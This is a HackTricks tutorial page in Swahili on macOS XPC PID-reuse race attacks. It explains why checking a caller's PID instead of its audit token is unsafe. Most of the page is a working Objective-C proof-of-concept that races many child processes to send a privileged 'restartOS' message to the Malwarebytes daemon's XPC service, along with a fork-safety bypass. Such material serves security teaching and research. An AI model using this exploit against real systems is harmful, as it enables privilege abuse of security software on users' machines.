macOS PID Reuse
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PID Reuse
Wakati huduma ya macOS XPC inakagua mchakato ulioitwa kulingana na PID na si kwa audit token, inakuwa hatarini kwa shambulio la PID reuse. Shambulio hili linategemea race condition ambapo exploit itatumia kutuma ujumbe kwa huduma ya XPC ikikandamiza kazi hiyo na kisha baada ya hapo, inatekeleza posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)
na binary iliyo ruhusiwa.
Kazi hii itafanya binary iliyo ruhusiwa kuwa na PID lakini ujumbe mbaya wa XPC utakuwa umetumwa kabla tu. Hivyo, ikiwa huduma ya XPC itumia PID kuthibitisha mtumaji na kuangalia BAADA ya utekelezaji wa posix_spawn
, itadhani inatoka kwa mchakato uliothibitishwa.
Mfano wa Exploit
Ikiwa unapata kazi shouldAcceptNewConnection
au kazi inayoitwa na hiyo ikiita processIdentifier
na si kuita auditToken
. Inaweza kuwa na uwezekano mkubwa inathibitisha PID ya mchakato na si audit token.
Kama mfano katika picha hii (iliyopigwa kutoka kwenye rejea):
Angalia mfano huu wa exploit (tena, uliochukuliwa kutoka kwenye rejea) ili kuona sehemu 2 za exploit:
- Moja inayofanya kuunda forks kadhaa
- Kila fork itatumia payload kwa huduma ya XPC wakati inatekeleza
posix_spawn
mara tu baada ya kutuma ujumbe.
caution
Ili exploit ifanye kazi ni muhimu export`` ``
OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
au kuweka ndani ya exploit:
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
Chaguo la kwanza linalotumia NSTasks
na hoja za kuzindua watoto ili kutumia RC
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end
void child() {
// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;
[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}
Mifano mingine
Marejeleo
- https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
- https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.